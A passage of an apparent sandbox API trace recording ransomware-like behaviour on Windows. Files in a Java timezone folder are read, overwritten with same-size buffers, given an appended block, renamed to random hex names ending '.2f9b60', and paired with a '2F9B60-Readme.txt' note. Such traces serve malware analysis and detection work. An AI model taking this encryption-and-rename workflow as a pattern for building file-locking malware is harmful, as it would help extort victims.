out: Seed=0x2c2afb10) returned 0x77ea78f1 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x716f8c60 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x7bbc4a59 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x6e5cc22d [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x75b0cb19 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x73c110c9 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x306e8020 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x132815ad [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x727ee176 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x68955e75 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x3c67bbd5 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x2622b0ee [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x507e3cbc [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x6954afbf [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x1ff43879 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x274df9e5 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x79b94069 [0166.555] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x3e634fa0 [0166.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0166.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0166.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0166.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0166.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4750) returned 1 [0166.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0166.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0166.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa6280 [0166.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa9e90 [0166.569] ReadFile (in: hFile=0x2990, lpBuffer=0x42aa6280, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c2afb10, lpOverlapped=0x0 | out: lpBuffer=0x42aa6280*, lpNumberOfBytesRead=0x2c2afb10*=0x41, lpOverlapped=0x0) returned 1 [0166.570] SetFilePointerEx (in: hFile=0x2990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.570] WriteFile (in: hFile=0x2990, lpBuffer=0x42aa9e90*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2c2afb14, lpOverlapped=0x0 | out: lpBuffer=0x42aa9e90*, lpNumberOfBytesWritten=0x2c2afb14*=0x41, lpOverlapped=0x0) returned 1 [0183.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31820 [0183.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31850 [0183.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31850) returned 1 [0183.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa9e90) returned 1 [0183.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa6280) returned 1 [0183.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0183.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0183.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d31850 [0183.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0183.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0183.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31880 [0183.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31880) returned 1 [0183.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d31880 [0183.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d318b0 [0183.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d318e0 [0183.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d318e0) returned 1 [0183.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0183.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0183.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x4312c720 [0187.457] SetFilePointerEx (in: hFile=0x2990, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.457] WriteFile (in: hFile=0x2990, lpBuffer=0x4312c720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c2afc30, lpOverlapped=0x0 | out: lpBuffer=0x4312c720*, lpNumberOfBytesWritten=0x2c2afc30*=0x108, lpOverlapped=0x0) returned 1 [0202.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ad0 [0202.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ad0) returned 1 [0202.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0202.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ad0 [0202.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b60 [0202.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b60) returned 1 [0202.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0202.943] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="3b") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="f9") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="6f") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="3a") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="10") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="eb") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="f2") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="33") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="9b") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="68") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="8c") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="bb") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="00") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="df") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="91") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="72") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="71") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="83") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="53") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="99") returned 2 [0202.943] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="94") returned 2 [0202.943] RtlInitAnsiString (in: DestinationString=0x2c2afca8, SourceString="3bf96f3a10ebf2339b688cbb00dff491727183539994" | out: DestinationString="3bf96f3a10ebf2339b688cbb00dff491727183539994") [0202.943] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c2afc78, SourceString="3bf96f3a10ebf2339b688cbb00dff491727183539994", AllocateDestinationString=1 | out: DestinationString="3bf96f3a10ebf2339b688cbb00dff491727183539994") returned 0x0 [0202.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319ecd0 [0202.944] wcscat (in: _Dest=0x431a3e30, _Source="3bf96f3a10e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e" [0202.944] wcscat (in: _Dest=0x431a3e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e.2f9b60" [0202.944] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e.2f9b60", NtPathName=0x2c2afc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3bf96f3a10e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cec13c0 [0237.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec13c0) returned 1 [0237.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321fc70) returned 1 [0237.693] NtQueryInformationFile (in: FileHandle=0x2990, IoStatusBlock=0x2c2afcb8, FileInformation=0x2c2afcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c2afcb8, FileInformation=0x2c2afcc8) returned 0x0 [0237.693] NtSetInformationFile (FileHandle=0x2990, IoStatusBlock=0x2c2afcb8, FileInformation=0x2c2afcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3e30) returned 1 [0237.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319ecd0) returned 1 [0237.960] FlushFileBuffers (hFile=0x2990) returned 1 [0238.253] CloseHandle (hObject=0x2990) returned 1 [0241.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a22b0 [0241.716] wcscpy (in: _Dest=0x431a22b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.716] wcscat (in: _Dest=0x431a22b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.716] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a22b0) returned 1 [0243.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebee80) returned 1 Thread: id = 2810 os_tid = 0x19c0 [0159.892] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bujumbura")) returned 0x20 [0165.801] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura", dwFileAttributes=0x20) returned 1 [0166.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bujumbura"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x298c [0166.572] GetFileSizeEx (in: hFile=0x298c, lpFileSize=0x26caf7a0 | out: lpFileSize=0x26caf7a0*=27) returned 1 [0166.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4750 [0166.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0166.573] NtQuerySystemTime (in: CurrentTime=0x26caf660 | out: CurrentTime=0x26caf660*=132462177716854000) returned 0x0 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x6a4cc6c4 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x6520b5e6 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x76c19a88 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x12a0cfd7 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x4c20d97d [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x277e2128 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x376329dc [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x792a5fd2 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x203c4d5c [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x4bda2cf6 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x33c565cb [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x78ee694f [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x43e7f194 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x5d4d96b [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x6977e1e9 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x56b7ecb6 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x36c9424c [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x9ab8df9 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x5f0a4030 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x25d95664 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x1549e624 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x1a4e1dd9 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x5c6cd191 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x183afd7d [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x1b070e44 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x18fd9bbb [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x3eb90120 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x1a0128fb [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x7f79d0c9 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x7a4e6c20 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x2adfb690 [0166.573] RtlRandomEx (in: Seed=0x26caf650 | out: Seed=0x26caf650) returned 0x4bcb1f2 [0166.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46f0 [0166.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0166.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0166.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0166.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0166.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e10 [0166.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0166.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a9ea60 [0166.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa2670 [0166.640] ReadFile (in: hFile=0x298c, lpBuffer=0x42a9ea60, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x26caf650, lpOverlapped=0x0 | out: lpBuffer=0x42a9ea60*, lpNumberOfBytesRead=0x26caf650*=0x1b, lpOverlapped=0x0) returned 1 [0166.641] SetFilePointerEx (in: hFile=0x298c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.641] WriteFile (in: hFile=0x298c, lpBuffer=0x42aa2670*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x26caf654, lpOverlapped=0x0 | out: lpBuffer=0x42aa2670*, lpNumberOfBytesWritten=0x26caf654*=0x1b, lpOverlapped=0x0) returned 1 [0183.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d319a0 [0183.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d319d0 [0183.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d319d0) returned 1 [0183.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa2670) returned 1 [0183.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a9ea60) returned 1 [0183.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0183.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e10) returned 1 [0183.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d319d0 [0183.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e10 [0183.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5ea0 [0183.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a00 [0183.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31a00) returned 1 [0183.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a00 [0183.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a30 [0183.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a60 [0183.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31a60) returned 1 [0183.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0183.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e10) returned 1 [0183.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x43130720 [0187.475] SetFilePointerEx (in: hFile=0x298c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x298c, lpBuffer=0x43130720*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26caf770, lpOverlapped=0x0 | out: lpBuffer=0x43130720*, lpNumberOfBytesWritten=0x26caf770*=0x104, lpOverlapped=0x0) returned 1 [0202.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41b0 [0202.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41b0) returned 1 [0202.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d520 [0202.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41b0 [0202.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41e0 [0202.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41e0) returned 1 [0202.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x422f41e0 [0202.957] sprintf (in: _Dest=0x422f41e0, _Format="%c%c" | out: _Dest="c1") returned 2 [0202.957] sprintf (in: _Dest=0x422f41e2, _Format="%c%c" | out: _Dest="45") returned 2 [0202.957] sprintf (in: _Dest=0x422f41e4, _Format="%c%c" | out: _Dest="f2") returned 2 [0202.957] sprintf (in: _Dest=0x422f41e6, _Format="%c%c" | out: _Dest="f1") returned 2 [0202.957] sprintf (in: _Dest=0x422f41e8, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.957] sprintf (in: _Dest=0x422f41ea, _Format="%c%c" | out: _Dest="51") returned 2 [0202.957] sprintf (in: _Dest=0x422f41ec, _Format="%c%c" | out: _Dest="46") returned 2 [0202.957] sprintf (in: _Dest=0x422f41ee, _Format="%c%c" | out: _Dest="27") returned 2 [0202.957] sprintf (in: _Dest=0x422f41f0, _Format="%c%c" | out: _Dest="ec") returned 2 [0202.957] sprintf (in: _Dest=0x422f41f2, _Format="%c%c" | out: _Dest="b5") returned 2 [0202.957] sprintf (in: _Dest=0x422f41f4, _Format="%c%c" | out: _Dest="c3") returned 2 [0202.957] sprintf (in: _Dest=0x422f41f6, _Format="%c%c" | out: _Dest="7d") returned 2 [0202.957] sprintf (in: _Dest=0x422f41f8, _Format="%c%c" | out: _Dest="3e") returned 2 [0202.957] sprintf (in: _Dest=0x422f41fa, _Format="%c%c" | out: _Dest="26") returned 2 [0202.957] sprintf (in: _Dest=0x422f41fc, _Format="%c%c" | out: _Dest="85") returned 2 [0202.957] sprintf (in: _Dest=0x422f41fe, _Format="%c%c" | out: _Dest="f0") returned 2 [0202.957] sprintf (in: _Dest=0x422f4200, _Format="%c%c" | out: _Dest="47") returned 2 [0202.957] sprintf (in: _Dest=0x422f4202, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.957] RtlInitAnsiString (in: DestinationString=0x26caf7e8, SourceString="c145f2f1c6514627ecb5c37d3e2685f047d2" | out: DestinationString="c145f2f1c6514627ecb5c37d3e2685f047d2") [0202.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x26caf7b8, SourceString="c145f2f1c6514627ecb5c37d3e2685f047d2", AllocateDestinationString=1 | out: DestinationString="c145f2f1c6514627ecb5c37d3e2685f047d2") returned 0x0 [0202.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c3d0 [0202.958] wcscat (in: _Dest=0x431a3f50, _Source="c145f2f1c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c" [0202.958] wcscat (in: _Dest=0x431a3f50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c.2f9b60" [0202.958] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c.2f9b60", NtPathName=0x26caf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c145f2f1c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43130720 [0237.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43130720) returned 1 [0237.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432200d0) returned 1 [0237.694] NtQueryInformationFile (in: FileHandle=0x298c, IoStatusBlock=0x26caf7f8, FileInformation=0x26caf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26caf7f8, FileInformation=0x26caf808) returned 0x0 [0237.694] NtSetInformationFile (FileHandle=0x298c, IoStatusBlock=0x26caf7f8, FileInformation=0x26caf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3f50) returned 1 [0237.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c3d0) returned 1 [0237.959] FlushFileBuffers (hFile=0x298c) returned 1 [0238.249] CloseHandle (hObject=0x298c) returned 1 [0241.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3f50 [0241.703] wcscpy (in: _Dest=0x431a3f50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") 